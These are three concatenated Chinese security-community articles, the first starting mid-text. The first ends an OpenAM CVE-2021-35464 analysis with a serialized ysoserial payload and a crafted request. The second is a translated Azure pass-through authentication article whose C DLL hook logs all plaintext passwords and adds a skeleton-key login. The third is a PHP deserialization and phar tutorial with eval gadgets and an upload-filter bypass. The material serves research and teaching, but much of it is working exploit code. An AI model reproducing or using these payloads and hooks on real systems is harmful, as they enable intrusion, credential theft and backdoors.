HJvcGVydGllc3Bwc3IAHm9yZy5hcGFjaGUuY2xpY2suY29udHJvbC5UYWJsZQAAAAAAAAABAgAXSQAOYmFubmVyUG9zaXRpb25aAAlob3ZlclJvd3NaABdudWxsaWZ5Um93TGlzdE9uRGVzdHJveUkACnBhZ2VOdW1iZXJJAAhwYWdlU2l6ZUkAE3BhZ2luYXRvckF0dGFjaG1lbnRaAAhyZW5kZXJJZEkACHJvd0NvdW50WgAKc2hvd0Jhbm5lcloACHNvcnRhYmxlWgAGc29ydGVkWgAPc29ydGVkQXNjZW5kaW5nTAAHY2FwdGlvbnEAfgAITAAKY29sdW1uTGlzdHQAEExqYXZhL3V0aWwvTGlzdDtMAAdjb2x1bW5zcQB-AAdMAAtjb250cm9sTGlua3QAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvQWN0aW9uTGluaztMAAtjb250cm9sTGlzdHEAfgAQTAAMZGF0YVByb3ZpZGVydAAsTG9yZy9hcGFjaGUvY2xpY2svZGF0YXByb3ZpZGVyL0RhdGFQcm92aWRlcjtMAAZoZWlnaHRxAH4ACEwACXBhZ2luYXRvcnQAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvUmVuZGVyYWJsZTtMAAdyb3dMaXN0cQB-ABBMAAxzb3J0ZWRDb2x1bW5xAH4ACEwABXdpZHRocQB-AAh4cgAob3JnLmFwYWNoZS5jbGljay5jb250cm9sLkFic3RyYWN0Q29udHJvbAAAAAAAAAABAgAJTAAOYWN0aW9uTGlzdGVuZXJ0ACFMb3JnL2FwYWNoZS9jbGljay9BY3Rpb25MaXN0ZW5lcjtMAAphdHRyaWJ1dGVzcQB-AAdMAAliZWhhdmlvcnN0AA9MamF2YS91dGlsL1NldDtMAAxoZWFkRWxlbWVudHNxAH4AEEwACGxpc3RlbmVydAASTGphdmEvbGFuZy9PYmplY3Q7TAAObGlzdGVuZXJNZXRob2RxAH4ACEwABG5hbWVxAH4ACEwABnBhcmVudHEAfgAXTAAGc3R5bGVzcQB-AAd4cHBwcHBwcHBwcAAAAAIAAQAAAAAAAAAAAAAAAQAAAAAAAAAAAXBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHhwcHBwcHBwcHBwdwQAAAADc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0_BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAITAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA_____3VyAANbW0JL_RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF_gGCFTgAgAAeHAAAAajyv66vgAAADMAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk_OR3e8-AQAGPGluaXQ-AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ-AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEADXRvdWNoIC90bXAveHgIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBAB55c29zZXJpYWwvUHduZXI4MTE5NjYyNDE4OTUwMDIBACBMeXNvc2VyaWFsL1B3bmVyODExOTY2MjQxODk1MDAyOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC8ADgAAAAwAAQAAAAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADQADgAAACAAAwAAAAEADwA4AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAADgADgAAACoABAAAAAEADwA4AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAEANgAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACXVxAH4AJAAAAdTK_rq-AAAAMwAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAA8AA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIAFgAQAAlwdAAEUHducnB3AQB4c3IAFGphdmEubWF0aC5CaWdJbnRlZ2VyjPyfH6k7-x0DAAZJAAhiaXRDb3VudEkACWJpdExlbmd0aEkAE2ZpcnN0Tm9uemVyb0J5dGVOdW1JAAxsb3dlc3RTZXRCaXRJAAZzaWdudW1bAAltYWduaXR1ZGV0AAJbQnhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cP_______________v____4AAAABdXEAfgAkAAAAAQF4eA HTTP/1.1
Host: 192.168.0.106:7080
User-Agent: curl/7.64.1
Accept: */*
后台代码成功接受数据并进行反序列化
成功执行命令创建文件xx
关于反序列化漏洞挖掘的方式，及路由回溯方法在其他分析中展开讲解，这个漏洞的反序列化链编写过程打算在下篇文章重点分析。
## 0x06 其他分析
为什么有这一小节呢？我再复现分析这个漏洞的时候尝试性的对它开展了漏洞挖掘工作，其中找到了一个未认证反序列化，但是有白名单的限制，最后没有利用成功。主要记录下该反序列化点的挖掘及触发过程。
### 0x1 可疑的漏洞点
借助之前搜索readObject的结果，我们可以发现这个带有反序列化白名单校验的类IOUtils.class，我一开始不知道其中有白名单校验，就傻不愣登的开始分析了。
### 0x2 触发路由分析
通过字符串搜索找到包含IOUtils且包含了deserialize的class文件，其中的分析过一遍后感觉RestrictedTokenContext比较有戏。
RestrictedTokenContext主要是unmarshal方法调用了危险函数，我们需要继续向上分析调用点
通过相同的搜索方式找到了一些调用点其中SessionRequestHandler引起了我的注意
通过审计SessionRequestHandler发现有一处触发点，并且在之前未发现有校验，那么剩下的问题就转变成如何调用这个Handler进行处理。
在之前分析servlet函数的时候有分析到pllservice
它里面的请求包处理函数和Handler调用有着一定的联系，粗略看来和xml解析有关，具体什么关系还是需要动态调试才能确定。
### 0x3 动态调试确定数据包
通过动态调试找到了获取handler的关键代码，如下图所示。set.geteServiceID就是post数据中xml里的svcid值，我们可以控制。
最为核心的代码在getServiceHandler函数中，通过分析发现requestHandlers为已经加载的Handler，这个机制和ViewBean很相似。handler的生成在第150行进行，但之前要获得handler的名称，这个操作主要在WebtopNaming.getServiceClass中进行。
getServiceClass函数是在config中寻找与之匹配的项，config中保存了所有的映射关系。
映射关系如下，通过这个NamingTable可以很直观的找到svcid为session时与之对应的handler为SessionRequestHandler。因此我们构造数据包也就有了着落。
### 0x4 填充参数
找到Handler的生成关系后，我们需要将反序列化的数据填充进去，这里主要是确定getRequester获取的是什么数据。
跟进发现该数据已经生成完毕了，我们需要做的是溯源路由，找到填充变量的那块代码。
通过简单的分析发现了在xml解析时，解析了elem的requester属性，如果该属性存在则赋值。
那么剩下的就简单了，构造一个符合代码的xml数据包发送给后台。这里需要注意的是requester参数里的内容要经历两次base64编码。
POST /openam/sessionservice HTTP/1.1
Host: 192.168.0.201
Connection: close
sec-ch-ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5156
<?xml version="1.0" encoding="UTF-8"?><RequestSet vers="1.0" svcid="session" reqid="0"><Request><![CDATA[<?xml version="1.0" encoding="UTF-8"?><Subject requester="data"><requester>xxxx</requester></Subject>]]></Request></RequestSet>
成功到达反序列化的地方，可是存在严格的白名单，目前没有什么好的办法。
## 0x07 总结
本文主要从如何挖掘该漏洞的角度分析这个漏洞的挖掘方式，后面将会用重点介绍这个漏洞利用方式。
## 参考文章
<https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464> | 社区文章 |
# Azure的万能钥匙：利用Pass-Through身份验证窃取用户凭证
|
##### 译文声明
本文是翻译文章，文章原作者 wpengine，文章来源：blogvaronis2.wpengine.com
原文地址：<https://blogvaronis2.wpengine.com/azure-skeleton-key/>
译文仅供参考，具体内容表达以及含义原文为准。
注：安全研究员Adam Chester之前写过一篇文章[Azure AD Connect for Red
Teamers](https://blog.xpnsec.com/azuread-connect-for-redteam/)，里面讲到如何劫持身份验证函数。
## 前言
如果攻击者攻破了企业的Azure代理服务器——同步Azure AD(Active Directory)与内部(on-premises)
AD所需组件，他就可以在上面创建一个后门，用来在之后以任意已同步的用户身份进行登陆。本文编写了一个可以控制Azure身份验证功能的PoC，该PoC可以实现：1)
为我们提供一个所有用户可使用的“万能密码”；2) 将所有真实的纯文本用户名和密码转储到文件中。
## Azure AD-Connect中的Pass-Through验证方式
Azure AD-Connect将Azure AD环境和内部域连接到一起，并提供了几种身份验证方法：
* **Password Hash Synchronization(密码哈希同步)** ：一种将本地的内部哈希同步到云端的方法。
* **Pass-Through身份验证** ：在内部安装一个“Azure代理”，用于验证云端的已同步用户身份。
* **Federation** ：一种依赖于AD FS(Active Directory Federation Services)的验证方法。
本文使用的攻击方法利用的是Pass-Through身份验证中的Azure代理，该内部代理为已经与内部域同步的账户收集并验证Azure AD接收到的身份凭据。
## 身份验证流程
1. 用户在Azure AD/O365输入用户名和密码。
2. Azure AD使用公钥对该凭据进行加密，并将其放入代理队列（一个内部代理创建的持久连接）中。代理会收集该凭据，使用私钥进行解密。
3. 代理使用API函数 ** _LogonUserW_** 向内部DC(Domain controller)验证该用户身份。
4. DC确认该凭据并返回响应。
5. 内部DC的响应被转发给Azure AD。
6. 如果用户登录行为验证通过，用户会登录机器。
## 代理滥用
为了能利用代理服务器，我们需要：
* 修改Azure AD Connect配置，让其使用Pass-Through的验证方式。
* 在一个安装了Azure代理的服务器上拥有管理员权限。
攻破了安装有Azure代理的服务器后，我们可以对验证流程进行修改。负责验证凭据的过程通常被称作 **
_AzureADConnectAuthenticationAgentService.exe_** ，这个过程依赖API函数 **
_LogonUserW_** 。微软的文档中提到，“身份验证代理会根据内部AD对用户名和密码进行验证，这个过程中使用了 ** _dwLogonType_**
参数值为 **LOGON32_LOGON_NETWORK** 的[Win32 LogonUser
API](https://msdn.microsoft.com/library/windows/desktop/aa378184.aspx)。
如果使用[APIMonitor](http://www.rohitab.com/apimonitor)
(如果拥有管理员权限，该工具可以劫持任意Windows API调用)劫持该API的调用，我们可以在身份验证过程中发现一些很有意思的东西：
使用密码“mypassword”对用户“noob”进行了验证。
## 创建一个API监控器
现在我们已经知道如何访问密码了，那么能够自动化这个过程呢？
计划是在 ** _AzureADConnectAuthenticationAgentService.exe_** 中注入DLL，把指向 **
_LogonUserW_** 的指针改写为指向我们自己的函数。
我们使用[EasyHook](https://easyhook.github.io/)工具写了一个DLL，该文件会劫持 ** _LogonUserW_**
函数，并替换成一个新的 ** _LogonUserW_** 函数。
BOOL myLogonUserW(LPCWSTR lpszUsername, LPCWSTR lpszDomain, LPCWSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken)
{
//Write to file
ofstream myfile;
myfile.open("c:\temp\shhhh.txt", std::ios_base::app);
string user = utf8_encode(lpszUsername);
string pass = utf8_encode(lpszPassword);
myfile << "Username: ";
myfile << user << "n";
myfile << "Password: ";
myfile << pass << "nn";
myfile.close();
return LogonUserW(lpszUsername, lpszDomain, lpszPassword, dwLogonType, dwLogonProvider, phToken);
}
这个新函数需要的变量个数与 ** _LogonUserW_** 相同，该函数被调用时，会创建一个文件 ** _“shhhh.txt”_**
，在里面写入用户名和密码。该函数的返回结果和真正的 ** _LogonUserW_** 函数使用原始参数返回的结果相同。
## DLL注入
感谢[InjectAllTheThings](https://github.com/fdiskyou/injectAllTheThings)工具以及其中的反射DLL模块，我们把自己的DLL文件加载到了进程中并获得如下结果：
所有连接到Azure AD的已同步用户（例如Office 365）的密码都会输出到我们的文本文件中。
## 锦上添花的收获
只需要在上面的密码收集器上再添加一些新技术，就可以将其转变为一个Azure万能密码，让攻击者使用预设的密码以任意用户身份进行单一登录。
为了实现该功能，我们需要修改 _[ **LogonUserW**](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonuserw)_
函数中的返回值，如果输入密码‘hacked’，无论用户的真实密码是什么，我们都可以成功登录。 ** _LogonUserW_**
是一个布尔函数，它接受一个指向用户令牌的指针，使用用户令牌对该指针进行填充，如果成功，则返回true。
经过测试后，我发现如果返回假的令牌或者不返回令牌都会导致进程崩溃，所以该程序需要一个有效的令牌。
那么我们可以从哪里获得一个用户令牌传递给该函数，而不需要生成令牌呢？
因为我们已经进入了 ** _AzureADConnectAuthenticationAgentService.exe_**
进程，所以我们可以直接借用它的用户令牌。
新版本的DLL文件：
BOOL myLogonUserW(LPCWSTR lpszUsername, LPCWSTR lpszDomain, LPCWSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken)
{
//Write to file
ofstream myfile;
myfile.open("c:\temp\beep.txt", std::ios_base::app);
string user = utf8_encode(lpszUsername);
string pass = utf8_encode(lpszPassword);
//get time
std::time_t result = std::time(nullptr);
myfile << "[*] ";
myfile << std::asctime(std::localtime(&result));
myfile << "Username: ";
myfile << user << "n";
myfile << "Password: ";
myfile << pass << "nn";
myfile.close();
string hacked = "hacked";
if(hacked.compare(pass))
{
// Log the user in
return LogonUserW(lpszUsername, lpszDomain, lpszPassword, dwLogonType, dwLogonProvider, phToken);
}
else
{
// Use Skeleton Key, return true
OpenProcessToken(GetCurrentProcess(), TOKEN_READ, phToken);
return true;
}
}
通过调用 ** _OpenProcessToken_** 函数，我们使用进程自己的令牌填充了 ** _phToken_** 变量。
这个方法成功了！
尽管每个用户仍然可以使用自己的密码进行连接，但是我们可以使用密码’hacked’以任意用户身份通过身份验证。
## 演示视频
到目前为止，攻击者已经可以完全控制目标机器，并且可以以任意身份登录，包括全局的管理员身份。
演示视频可以[在此观看](https://blogvaronis2.wpengine.com/azure-skeleton-key/?wvideo=h4ryg2to1s)。
## 一些其他想法
在Azure代理上安装万能钥匙可用于：
* 提升权限到全局管理员，从而控制所有Azure用户
* 重置域管理员密码（假设启用了密码回写功能），从而访问企业的内部环境
* 保证持久性攻击
* 收集明文密码
微软的安全响应中心对我们的报告进行了回复，据此我们认为微软不会对这个问题进行修复：
>
> 该报告看起来并没有在微软产品或服务中发现任何会导致攻击者损害产品完整性、可用性及机密性的漏洞。利用报告中提出的问题，攻击者必须首先攻破目标计算机，然后才能接管其服务。
尽管我并不熟悉Azure Pass-Through身份验证的内部原理，但我还是可以在这里提出一个应对措施。比如说，由于DC受到了良好的保护，可以将加密的凭据从代理转发到驻留在DC中的集中式代理上。该代理会验证用户凭据，同时使用只有Azure云服务才能理解的加密响应进行回复。但是已经完全控制了DC的攻击者还是可以成功绕过该防御措施。
我们的一位客户对此十分感兴趣：
>
> 如果允许用户在不进行多因子身份验证(MFA)的情况下进行登录，那么万能钥匙确实是一个问题。但是更需要关心的是，代理可以在Azure使用本地DC进行身份验证时，以文本的格式抓取每个登录ID和密码。这会为攻击者提供大量有效的用户账号，攻击者可以以不同的身份登录访问内部资源，突然之间，原本无法访问数据库、其他设备或资源的服务器管理员就拥有了足够的账号，可以遍历整个环境并访问之前没有权限的数据库。当然，你可能会争辩说，获得了AD中的.dit文件也可以做到这一点，但是这样的话密码仍然是哈希值，你需要额外的时间破解这些哈希值，或者使用一种pass
> the hash攻击方法（大多数此类攻击都会被检测到）。这种新的方法对于攻击者来说使用起来更简单，而对于事件响应(IR)团队来说，又更加难以检测。
## 防御手段
特权攻击者可以使用该方法在目标计算机上安装后门或者收集密码。如果攻击者知道怎样掩盖自己的足迹，传统的日志分析很难检测到这些行为。
使用MFA可以防止攻击者使用虚假密码连接到Azure云上，但该方法还是可以在启用MFA的环境下收集密码。
进一步防御此攻击的方法是，保护Azure代理服务器的安全，监控用户活动中的异常资源与数据访问，使用分类的方法发现包含有明文用户名和密码的文件。
## 参考文献
微软文档：[how-to-connect-pta-security-deep-dive](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta-security-deep-dive) | 社区文章 |
## 说在前面
对于PHP反序列化，原来也就只是浅尝而止。最近看到很多题的出现了多种没有了解过的反序列化形式，就此进一步学习一下。其中很多内容都参考了师傅们的博客，部分内容经过自己的修改。如果存在错误，还望师傅们指出。
## pravite和Protected成员的序列化
以前在做反序列化的题的时候遇到的都是public成员，但在k0rz3n师傅的文章中看到了Private和Protected权限序列化的过程中有着不同的差别。这里做一个小知识点的总结。
先来复习一下一个简单的序列化例子：
<?php
class Threezh1 {
public $text;
function execute($payload) {
eval($payload);
}
function __destruct(){
$this->execute($this->text);
}
}
$a = new Threezh1();
$a->text = 'echo "Threezh1";';
echo serialize($a);
?>
序列化后的内容：
`O:8:"Threezh1":1:{s:4:"text";s:16:"echo "Threezh1";";}`
O代表这是一个对象，8代表对象名称的长度，1代表成员个数。
大括号中分别是：属性名类型、长度、名称;值类型、长度、值。
那反序列化的过程中是这样的：
<?php
class Threezh1 {
public $text;
function execute($payload) {
eval($payload);
}
function __destruct(){
$this->execute($this->text);
}
}
unserialize($_GET["a"]);
?>
访问：<http://127.0.0.1/index.php?a=O:8:%22Threezh1%22:1:{s:4:%22text%22;s:16:%22echo%20%22Threezh1%22;%22;}>
返回：
`Threezh1`
### Private类型
**那么问题来了** ，如果把$text成员从public改为private呢？
因为在实例中无法通过$obj->属性名(或方法名) 来调用pravite类型的方法或属性。所以上面生成的例子需要改一下：
<?php
class Threezh1
{
private $text = 'phpinfo();';
public function setPayload($temp){
$this->text = $temp;
}
function execute($payload) {
eval($payload);
}
function __destruct(){
$this->execute($this->text);
}
}
$a = new Threezh1();
$a->setPayload('echo "Threezh1";');
$data = serialize($a);
echo($data);
file_put_contents("serialize.txt", $data);
这时候生成出来的序列化的内容为：
`O:8:"Threezh1":1:{s:14:"Threezh1text";s:16:"echo "Threezh1";";}`
按照前面的反序列化步骤，进行反序列化。会发现序列化并没有成功，显示了phpinfo的页面：
那怎么样才能使它反序列化成功呢？我们使用winhex打开刚刚保存的`serialize.txt`。内容如下图：
会发现在Threezh1的左右，也就是属性名中的类名左右存在两个空字节。所以反序列化不成功的原因就是由于序列化内容生成到网页后，空字节不会一同生成出去，导致反序列化的时候无法识别是private属性，反序列化失败。
那解决这个问题的方法就是，在传递反序列化字符串中，在类名的左右加上`%00`，也就是空字节对于的URL编码。反序列化成功结果如下：
这也正好解释了，为什么序列化内容中，为什么属性名的长度为14。
所以，Private类型在序列化的格式为：`%00类名%00`
### Protected类型
Protected类型和private有些许不同，生成的序列化内容为：
`O:8:"Threezh1":1:{s:7:"*text";s:16:"echo "Threezh1";";}`
使用winhex查看保存的`serialize.txt`：
可得出，Protected类型在序列化的格式为：`%00*%00类名`
## Phar反序列化
phar的总结类文章已经有很多了，比如Hu3sky学长的[初探phar://](https://xz.aliyun.com/t/2715)
自己在总结phar的过程中又学习到了一些新的内容，这里就做下记录。
### phar文件的结构：
phar文件都包含以下几个部分：
1. stub
phar文件的标志，必须以 xxx __HALT_COMPILER();?> 结尾，否则无法识别。xxx可以为自定义内容。
2. manifest
phar文件本质上是一种压缩文件，其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data，这是漏洞利用最核心的地方。
3. content
被压缩文件的内容
4. signature (可空)
签名，放在末尾。
### 生成一个phar文件：
php内置了一个phar类来处理相关操作。
注意：这里要将php.ini里面的`phar.readonly`选项设置为`Off`。`并把分号去掉。`
(如果你在命令行运行PHP文件还是无法生成成功，请使用php -v查看php版本并在修改指定版本的php.ini。)
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
### 漏洞利用条件
1. phar文件要能够上传到服务器端。
2. 要有可用的魔术方法作为“跳板”。
3. 文件操作函数的参数可控，且`:`、`/`、`phar`等特殊字符没有被过滤。
### phar受影响的文件操作函数：
知道创宇测试后受影响的函数列表：
但实际并不止这一些。
参考zxc师傅的文章：<https://blog.zsxsoft.com/post/38>
在跟踪了受影响函数的调用情况后发现，除了所有文件函数，只要是函数的实现过程直接或间接调用了`php_stream_open_wrapper`。都可能触发phar反序列化漏洞。
以下这些方式都可触发phar反序列化漏洞：
exif
exif_thumbnail
exif_imagetype
gd
imageloadfont
imagecreatefrom***
hash
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
file / url
get_meta_tags
get_headers
standard
getimagesize
getimagesizefromstring
zip
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
Bzip / Gzip
当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://绕过
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';
配合其他协议：([SUCTF](https://www.xctf.org.cn/library/details/17e9b70557d94b168c3e5d1e7d4ce78f475de26d/))
当环境限制了phar不能出现在前面的字符里，还可以配合其他协议进行利用。
php://filter/read=convert.base64-encode/resource=phar://phar.phar
这次的ByteCTF也有这个点。使用的是：php://filter/resource=phar://phar.phar
Postgres
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://phar.phar/aa');
?>
pgsqlCopyToFile和pg_trace同样也是能使用的，需要开启phar的写功能。
Mysql
LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper
配置一下mysqld:
[mysqld]
local-infile=1
secure_file_priv=""
<?php
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'testtable', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
?>
### 漏洞的利用实例：
#### 一个简单的例子
phar.php
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> name='Threezh1'; //控制TestObject中的name变量为Threezh1
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
index.php
<?php
class TestObject {
public $name;
function __destruct()
{
echo $this -> name;
}
}
if ($_GET["file"]){
file_exists($_GET["file"]);
}
?>
使用`php phar.php`生成`phar.phar`文件。
访问：<http://127.0.0.1/index.php?file=phar://phar.phar>
返回：Threezh1。 反序列化利用成功。
#### 绕过文件格式限制
* 上传html页面: upload.html
* 后端校验页面：upload.php
* 一个漏洞页面：index.php (存在file_exits(), eval()函数)
* 一个上传目录： upload_file/
upload.html:
<!DOCTYPE html>
<html>
<head>
<title>upload file</title>
</head>
<body>
<form action="http://127.0.0.1/upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>
</html>
upload.php
仅允许格式为gif的文件上传。上传成功的文件会存储到upload_file目录下。
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];
if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}
index.php
<?php
class TestObject{
var $data = 'echo "Hello World";';
function __destruct()
{
eval($this -> data);
}
}
if ($_GET["file"]){
file_exists($_GET["file"]);
}
绕过思路：GIF格式验证可以通过在文件头部添加GIF89a绕过
我们可以构造一个php来生成phar.phar。
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='phpinfo();'; //控制TestObject中的data为phpinfo()。
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
利用过程：
* 一、生成一个phar.phar，修改后缀名为phar.gif
* 二、上传到upload_file目录下
* 三、访问：<http://127.0.0.1/index.php?file=upload_file/phar.gif>
可见已经执行了phpinfo命令了。
通过修改后缀名和文件头，能够绕过大部分的校验。
#### 配合PHP内核哈希表碰撞攻击
参考：<https://xz.aliyun.com/t/2613>
